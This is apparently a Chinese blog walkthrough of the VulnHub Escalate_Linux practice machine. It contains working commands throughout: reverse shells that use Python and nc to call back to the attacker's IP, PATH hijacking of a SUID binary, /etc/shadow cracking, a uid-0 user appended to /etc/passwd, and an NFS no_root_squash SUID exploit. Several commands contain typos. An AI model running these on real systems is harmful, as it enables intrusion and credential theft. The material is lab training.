vulnhub-Escalate_Linux-1通关教程
扫描到靶机是172,没什么解释的
nmap 192.168.135.0/24 -sP

我们发现111和nfs,rpc远程调用nfs挂载共享,我们的思路就是kali挂载靶机共享文件生成kalirootshell,在靶机运行就能拿到rootshell。对于139和445我们则可以利用smb来枚举,一般我们使用enum4linux和smbclient,80没什么可以说的了,我们就是在网站枚举信息拿到www-data的shell。
nmap 192.168.135.172

上面我感觉很详细了,这里再说就多嘴了>_<
nmap 192.168.135.172 -p- -A


使用enum4linux来全扫smb服务信息。
Enum4linux -a 192.168.135.172

这里我们使用smbclent连接172的smb,发现liteshare
Smbclient -L 192.168.135.172

我们发现枚举smb需要密码,那么我们只能先枚举web目录信息。
smbclient ///liteshare -I 192.168.135.172

用dirb加限制后缀的格式扫描目录,发现shell.php,当然此处也能使用wfuzz,hydra
dirb http://192.168.135.172/ -X .php

访问这个shell.php我们根据提示发现可以用cmd作为命令参数来执行命令。


通过cmd我们利用py的socket建立连接反弹shell
http://192.168.135.172/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.135.155",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

拿到shell后的必要步骤,修复pty
Python -c ‘import pty;pty.spawn(“/bin/bash)’
Stty raw -echo; fg
Export TERM=xterm

手工枚举信息
Uname -a
Sudo -v

上传脚本枚举信息
Wget http://192.168.135.155:8000/linpeas.sh








我们发现了内核版本,rootuid,gid的可执行写入文件script,靶机内的用户信息,MySQL的信息,NFS的全局规则no_root_squash所有人都可以写入挂载,以root身份运行的计划任务5分钟执行一次。
我们发现user3里的shell的属主和属组是root权限,运行就获得root权限
Ls -al | grep shell

我们发现user5下面的脚本script以root的方式运行,可写可执行,我们通过写入命令可以查看/etc/shadow的信息,当然也能获得root权限shell


我们从root直接切换到user5,根据枚举发现script的属主root运行,我们分析script的二进制时发现调用函数设置uid,gid通过命令执行系统命令那么我们就可以写入命令,修改文件PATH环境变量,让script每次运行先到我们文件执行命令,获得root权限。
Echo “/bin/bash” > ls
Chmod 777 ls
Export PATH=/tmp:$PATH
Cd /home/user5
./script

当然查看/etc/shadow需要root,但是普通用户查看/etc/shadow的原理和获得root权限是一样的,写入命令放到文件传到到程序,程序本身就是root权限运行,修改PATH环境运行script程序执行文件里的命令,就能以root身份查看shadow了。
肯定的,你修改命令的PATH后原命令就失去效果了,我们要还原环境。
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

突然想起来,为了更好理解我上面说的,看下图是不是就很清晰了,ls指向了cat /etc/shaow,当我们运行script时是以root身份运行的会直接指向ls。

我们都是通过提权获得的root权限,但是用户还是普通用户,我们知道了shadow的密匙信息后,我们直接爆破root用户的密码就是root用户的rootshell权限了。我们发现root得密码12345还真安全啊>_<
Hash-identifier
John hash
John –show hash



这下用户是root,uid,gid,groups也是root了。

根据脚本枚举出来的信息,我们发现user4里有root运行的计划任务,我们写入反弹shell,执行就获得了rootshell
cd /home/user4/Desktop
ls -al
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 6666 >/tmp/f
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 6666 >/tmp/f' > autoscript.sh
cat autoscript.sh
./autoscript.sh

我们也是利用script的权限修改user8的用户密码进入到user8,和之前将命令写入文件,程序指向环境执行文件命令一样
Cd /tmp
Echo ‘echo “user8:12345” | chpasswd’ > ls
Chmod 777 ls
Export PAHT=/tmp:%PATH
Cd /home/user5
./script
Su user8
那么意思就是我们其实可以将所有用户的密码都改为12345

我们看到user8可以使用sudo命令这个对我们来说很简单了>_<

User8可以直接用sudo执行vi,根据之前的经验我们直接!sh就获得root

跟user8一样的方法进入user7

我们发现它本身就有root身份,我们用root生成ssl,创建一个用户,切换用户就能提升为root
Openssl passwd 12345
echo 'yang:$1$4uw06nhO$LcO1dN5H9B77BRMfbzuYX/:0:0:root:/root:/bin/bash' >> /etc/passwd
su yang


脚本枚举出mysql的用户名密码都是root,且以root运行我们进来枚举root信息。。。
MySQL -uroot -proot

想一张截完但有不行,懒得调大小了,这个也ok了。。。我们发现mysql用户和密码mysql/mysql@12345
Show databases;
Use user;
Show tables;
Select * form user_info;

通过mysql的信息我们在这里获得了root的账号密码,不用暴力破解也能出来
cd /etc/mysql
cat secret.cnf

我们枚举发现可以使用nfs挂载,(rw no_root_squash)


我们发现正常的挂载生成shell行不通了,我们只好自己编写.c脚本编译提权了
#include <stdlib.h>
#include <nuistd.h>
Int main() {setudi(0);setgid(0);system(“/bin/bash”);}

正常的gcc转为shell也不行,要用静态编译
Gcc --static shell.c -o shell
Chmod 4777 shell
Chown root:root shell

运行就是用户5的root权限。

其实我们在mysql用户下就拿到了所有用户的账号密码。
Cat .user_informations

User2这里我们发现可以执行sudo,我们利用su切换的命令执行sudo

成功切换user1,拿root我们可以利用script程序来提升权限。
Echo “/bin/bash” > ls
Chmod 777 ls
Export APTH=/tmp:$PATH
Cd /home/user5
./script

User4的提权方法也是利用script程序提权
Echo “/bin/bash” > ls
Chmod 777 ls
Export PATH=/tmp:$PATH
Cd /home/user5
./script

这台靶机很简单,几乎没有什么新的知识点,进入shell后发现有很多用户,我感觉这台靶机练习的就是本地用户横向移动提权。。。我们分析一下我们用过什么方法。我们枚举出了user5下的script有root写执行权,我们将命令写入文件修改环境变量让程序运行时执行文件命令拿到root权限,我们发现user3下的shell直接拿到了root,我们利用script访问到了root的shadow密匙,通过John破解密码登录root用户,我们发现root的MySQL账号密码,通过MySQL我们发现mysql用户的账号密码,su mysql里我们发现所有用户的账号密码,通过su切换用户很是方便,提权一般都是用script,但是user7里面使用了nfs共享,这个和我们上面nmap的信息闭环了,而且安全机制设置为了(rw,on_root_square)使得我们可以在共享挂载目录下写入执行文件,我们利用自己写的(那么多脚本这个真是自己写的那天我感觉自己真nb)脚本,静态编译,修改SUID和属主and组,运行编译后的程序成功拿到了root权限shell。这里是因为shell里的命令是生成/bin/bash并且这个bash是root创建的,在nfs下运行拿到的shell就是rootshell。
浙公网安备 33010602011771号